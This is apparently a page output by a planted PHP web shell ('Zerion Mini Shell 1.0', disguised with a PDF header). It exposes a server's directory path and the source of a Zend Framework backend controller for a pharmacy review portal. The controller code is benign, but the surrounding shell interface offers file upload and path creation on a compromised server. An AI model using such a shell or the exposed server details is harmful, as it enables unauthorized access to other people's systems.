%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/src/Backend/Controller/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/src/Backend/Controller/IndexController.php

<?php
/**
 * Zend Framework (http://framework.zend.com/)
 *
 * @link      http://github.com/zendframework/ZendSkeletonApplication for the canonical source repository
 * @copyright Copyright (c) 2005-2014 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   http://framework.zend.com/license/new-bsd New BSD License
 */

namespace Backend\Controller;

use Backend\Controller\AbstractBackendController,
    Zend\View\Model\ViewModel,
    Zend\View\Model\JsonModel;
use Zend\View\View;
use ZfcRbac\Service\AuthorizationService;
use Zend\Db\ResultSet\ResultSet;
use Zend\Db\TableGateway\TableGateway;
use ConDatatable\Controller\ServerProcessingTrait;

class IndexController extends AbstractBackendController
{
    use ServerProcessingTrait;

    /**
     *
     * @var AuthorizationService
     */
    protected $authorizationService;

    /**
     *
     * @param AuthorizationService $authorizationService
     */
    public function __construct(AuthorizationService $authorizationService, $inspectDatatable, $commenttable)
    {
        $this->authorizationService = $authorizationService;
        $this->datatable       = $inspectDatatable;
        $this->commenttable    = $commenttable;

    }

    public function indexAction()
    {
        $model = new ViewModel();
        if ($this->getRequest()->isXmlHttpRequest()) {
            $model->setTerminal(true);
        }
        return $model;
    }


    public function dashboardAction()
    {
        $dataTable =  $this->getServiceLocator()->get('ConDatatable\DatatableManager')
            ->get('UnconfirmedPharmacyDataTable');

        $commentTable =  $this->getServiceLocator()->get('ConDatatable\DatatableManager')
            ->get('UnconfirmedCommentDataTable');


        $commentView = new ViewModel();
        $commentView->setTemplate('backend/index/table');
        $commentView->setVariables(array(
           "title" =>  'Zu prüfende Kommentare',
           "icon" =>  'file-text-o',
           "id" =>  "widget-grid-comment",
           "datatable" => $commentTable
        ));

        $model = new ViewModel(['datatable' => $dataTable]);
        $model->setTemplate('backend/index/dashboard');
        $model->addChild($commentView, 'commentTable');
        return $model;
    }

    public function serverProcessingCommentAction()
    {
        $criteria = $this->params()->fromQuery();

        $this->commenttable->setCriteria($criteria);
        $data = $this->commenttable->getData();

        return new JsonModel([
            'data' => $data,
            'recordsTotal' => $this->commenttable->getRecordsTotal(),
            'recordsFiltered' => $this->commenttable->getRecordsFiltered(),
            'draw' => (int) $criteria['draw']
        ]);
    }

}

Zerion Mini Shell 1.0